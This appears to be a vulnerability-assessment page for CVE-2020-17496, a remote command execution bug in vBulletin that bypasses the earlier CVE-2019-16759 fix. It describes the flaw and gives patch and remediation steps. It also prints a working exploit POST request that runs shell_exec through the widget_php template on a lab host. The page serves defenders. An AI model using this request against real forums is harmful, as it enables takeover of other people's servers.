Attacker Value
High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
1

CVE-2020-17496

Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

vBulletin 5.5.4 through 5.6.2 allows remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.

Add Assessment

4
Ratings
  • Attacker Value
    High
  • Exploitability
    Very High
Technical Analysis

A vulnerability exists in vBulletin that can allow the protections originally put in place to address CVE-2019-16759 to be bypassed. The vulnerability exists in how the patch handles child templates that are rendered by the widget_php template. A detailed write up which analyzes the patch and describes the issue regarding the child templates was posted to blog.exploitee.rs by the original author who discovered the vulnerability.

Successful exploitation involves an HTTP POST request and yields code execution in the context of the web application user. Due to the nature of templates, the result of the evaluation is included in the rendered output, allowing attackers to retrieve the output of their commands which makes the vulnerability more useful.

POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
Host: 192.168.250.5
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/x-www-form-urlencoded
Content-Length: 168

subWidgets%5b0%5d%5btemplate%5d=widget_php&subWidgets%5b0%5d%5bconfig%5d%5bcode%5d=echo%20shell_exec%28base64_decode%28%27ZWNobyBra3hmenJLeQ%3d%3d%27%29%29%3b%20exit%3b

This vulnerability was fixed in vBulletin version 5.6.3, with patches released for versions 5.6.0, 5.6.1 and 5.6.2.

To temporarily remediate the vulnerability, delete the “widget_php” module by following these steps:

  1. Put the site into debug mode.
  2. Log into the AdminCP.
  3. Go to Styles > Style Manager.
  4. Open the template list for the MASTER style.
  5. Scroll to the bottom where it says Module Templates.
  6. Highlight the widget_php module.
  7. Click the Revert Button.

General Information

Exploited in the Wild

Reported by:
Reported: September 08, 2020 4:54pm UTC (7 months ago)

Additional Info

Technical Analysis